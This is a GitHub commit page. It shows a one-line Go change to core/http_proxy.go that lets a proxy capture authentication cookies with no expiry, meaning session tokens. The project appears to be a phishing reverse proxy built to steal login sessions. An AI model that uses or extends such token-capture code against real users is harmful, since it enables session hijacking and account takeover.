Skip to content

Commit 511860c

Browse files
authored
Merge pull request kgretzky#571 from michaelmagyar/token-capture-fix
fixed token capture logic for tokens with expiry set to 0
2 parents 63eddbb + b6db209 commit 511860c

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

core/http_proxy.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -683,7 +683,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
683683
if pl.isAuthToken(c_domain, ck.Name) {
684684
s, ok := p.sessions[ps.SessionId]
685685
if ok && (s.IsAuthUrl || !s.IsDone) {
686-
if ck.Value != "" && (!ck.Expires.IsZero() && time.Now().Before(ck.Expires)) { // cookies with empty values or expired cookies are of no interest to us
686+
if ck.Value != "" && (ck.Expires.IsZero() || (!ck.Expires.IsZero() && time.Now().Before(ck.Expires))) { // cookies with empty values or expired cookies are of no interest to us
687687
is_auth = s.AddAuthToken(c_domain, ck.Name, ck.Value, ck.Path, ck.HttpOnly, auth_tokens)
688688
if len(pl.authUrls) > 0 {
689689
is_auth = false

0 commit comments

Comments
 (0)